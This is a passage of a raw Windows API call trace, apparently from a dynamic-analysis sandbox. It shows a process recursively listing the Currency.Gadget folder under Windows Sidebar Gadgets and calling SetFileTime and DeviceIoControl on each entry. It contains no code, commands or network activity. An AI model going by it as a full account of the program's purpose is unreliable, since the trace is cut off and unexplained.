RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.598] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.598] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="")) returned 1 [0080.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.600] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.600] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.601] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.601] NtClose (Handle=0x124) returned 0x0 [0080.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.602] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0080.602] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.602] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871223e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871223e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296096cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5990 [0080.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246180 [0080.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.603] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.604] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x296c7da5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x296c7da5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae9, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f59b0 [0080.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246288 [0080.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.605] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.605] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29e5e35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f59d0 [0080.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246390 [0080.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.606] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29e5e35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.606] GetLastError () returned 0x12 [0080.606] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0080.607] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.607] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.607] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871223e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871223e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296096cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.607] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.607] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.607] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.608] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.608] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.608] NtClose (Handle=0x124) returned 0x0 [0080.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246498 [0080.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12465a0 [0080.609] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0080.609] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.610] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.610] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.html", cAlternateFileName="")) returned 1 [0080.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12466a8 [0080.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f59f0 [0080.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12467b0 [0080.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.611] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5a10 [0080.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12468b8 [0080.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.613] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.613] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0080.613] GetLastError () returned 0x12 [0080.613] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.613] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.613] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.613] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12469c0 [0080.613] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.613] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.614] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.614] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.614] NtClose (Handle=0x124) returned 0x0 [0080.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12469c0) returned 1 [0080.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12469c0 [0080.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246ac8 [0080.615] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0080.615] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.615] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1 [0080.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246bd0 [0080.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5a30 [0080.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1246cd8 [0080.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.617] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 0 